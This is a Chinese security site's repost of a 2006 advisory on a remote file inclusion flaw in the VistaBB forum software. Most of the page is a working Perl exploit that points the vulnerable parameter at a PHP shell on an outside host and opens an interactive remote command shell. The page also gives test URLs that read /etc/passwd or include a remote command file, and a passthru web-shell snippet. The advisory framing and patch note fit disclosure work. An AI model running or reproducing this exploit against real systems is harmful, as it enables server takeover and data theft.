| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
VistaBB phpbb_root_path变量远程文件包含漏洞
VistaBB phpbb_root_path变量远程文件包含漏洞
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-26 14:59:00
2006-8-26

发布日期:2006-08-24
更新日期:2006-08-25

受影响系统:
VistaBB VistaBB <= 2.x

描述:

VistaBB是一款由土耳其开发者所开发的论坛程序。

VistaBB的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。

VistaBB的includes/functions_mod_user.php和includes/functions_portal.php脚本没有正确验证phpbb_root_path参数的输入,攻击者可以通过包含本地或外部资源的文件导致执行任意PHP代码。成功的攻击要求打开了register_globals。

<*来源:Mustafa Can Bjorn (nukedx@nukedx.com)
  
  链接:http://secunia.com/advisories/21602/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

GET -> http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=[FILE]
EXAMPLE -> http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=/etc/passwd%00 <- mq off
GET -> http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=[FILE]
EXAMPLE -> http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=/etc/passwd%00 <- mq off

#!/usr/bin/perl
# Method found and exploit scripted by nukedx
# Contacts> ICQ: 10072 Web: http://www.nukedx.com MAIL/MSN: nukedx@nukedx.com
# Original advisory can be found at: http://www.nukedx.com/?viewdoc=48
#
# VistaBB <= 2.x Remote Command Execution Exploit
#
# This exploit comes with it's own php shell setting. If you wanna change it your file must contain this data >
#
# # echo "_START_\n";
# ini_set("max_execution_time",0);
# error_reporting(0);
# passthru($_REQUEST[command]);
# echo "\n_END_";
# ?>
#
# Copyright 2006 (C) nukedx
#
# Greetz to: WW,xT,php from my team NWPX , str0ke , cha0s , Preddy , Yns , |SaMaN|, Caesar , Ogre and all of my  friends
use IO::Socket;
# Default configuration
$shell = "http://hometown.aol.com/yarivgiladi/sh.php";
# Checking user settings
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-44\r\n";
  print "- VistaBB <= 2.x Remote Command Execution Exploit\r\n";
}
sub usage()
{
  header();
  print "- Usage: $0 \r\n";
  print "- -> Victim's host ex: www.victim.com\r\n";
  print "- -> Path to VistaBB ex: /vistabb/ or just /\r\n";
  exit();
}
sub exploit() {
  # User variables
  $host = $ARGV[0];
  $host =~ s/(http:\/\/)//eg;
  $target = $ARGV[1]."includes/functions_mod_user.php";
  $good = 0;
  $c2s = "command=whoami";
  $c2slen = length($c2s);
  print "Trying to connect: $host\r\n";
  $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "Connection  failed...\r\n";
  print "Connected to victim: $host\r\n";
  print $sock "POST $target HTTP/1.1\n";
  print $sock "Host: $host\n";
  print $sock "Accept: */*\n";
  print $sock "Referer: $host\r\n";
  print $sock "Accept-Language: tr\r\n";
  print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
  print $sock "Accept-Encoding: gzip, deflate\r\n";
  print $sock "User-Agent: NukeZilla\r\n";
  print $sock "Cookie: phpbb_root_path=".$shell."?\r\n";
  print $sock "Content-length: $c2slen\r\n";
  print $sock "Connection: Keep-Alive\r\n";
  print $sock "Cache-Control: no-cache\r\n\r\n";
  print $sock $c2s;
  print $sock "\r\n\r\n";
  while($result = <$sock>)
  {
    if($result =~ /^_END_/)
    {
      $good=0;
      close($sock);
    }
    if($good==1)
    {
      if (!$whoami) {
        $whoami = trim($result);
        print "Logged as $whoami\r\nType exit for exit dont press ctrl+c\r\n";
      }
    }
    if ($good==0)
    {
      if ($result =~ /Warning: include_once/) { print "Sorry victim is not vulnerable...\r\nClosing exploit...\r\n";sleep(3);exit(); }
    }
    if($result =~ /^_START_/)
    {
      $good=1;
    }
  }
  while()
  {
    print "[".$whoami."@".$host." /]\$ ";
    while()
    {
      $cmds=$_;
      chomp($cmds);
      last;
    }
    if ($cmds =~ /^exit/) { print "Closing exploit...\r\n";sleep(3);exit(); }
    else { sendcmd(); }
  }
}
sub sendcmd () {
  $c2s = "command=".$cmds;
  $c2slen = length($c2s);
  $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "Connection lost...\r\n";
  print $sock "POST $target HTTP/1.1\n";
  print $sock "Host: $host\n";
  print $sock "Accept: */*\n";
  print $sock "Referer: $host\r\n";
  print $sock "Accept-Language: tr\r\n";
  print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
  print $sock "Accept-Encoding: gzip, deflate\r\n";
  print $sock "User-Agent: NukeZilla\r\n";
  print $sock "Cookie: phpbb_root_path=".$shell."?\r\n";
  print $sock "Content-length: $c2slen\r\n";
  print $sock "Connection: Keep-Alive\r\n";
  print $sock "Cache-Control: no-cache\r\n\r\n";
  print $sock $c2s;
  print $sock "\r\n\r\n";
  while($result = <$sock>)
  {
    if($result =~ /^_END_/)
    {
      $good=0;
      close($sock);
    }
    if($good==1)
    {
      print $result;
    }
    if ($good==0)
    {
      if ($result =~ /Warning: include_once/) { print "Sorry victim is not vulnerable or patched!...\r\nClosing exploit...\r\n";sleep(3);exit(); }
    }
    if($result =~ /^_START_/)
    {
      $good=1;
    }
  }
}
sub trim($)
{
      my $string = shift;
      $string =~ s/^\s+//;
      $string =~ s/\s+$//;
      return $string;
}

# nukedx.com [2006-08-24]

建议:

厂商补丁:

VistaBB
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.vistabb.net/

文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    Cisco Secure Desktop多
    Cisco安全代理管理中心认
    Cisco Secure Desktop多
    Cisco Wireless Locatio
    Kaspersky Labs Anti-Vi
    Sun Solaris内核SSL功能
    phpBB User Viewed Post
    Cisco Secure Desktop S
    Microsoft Windows TCP/
    Microsoft ASP.NET Auto

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览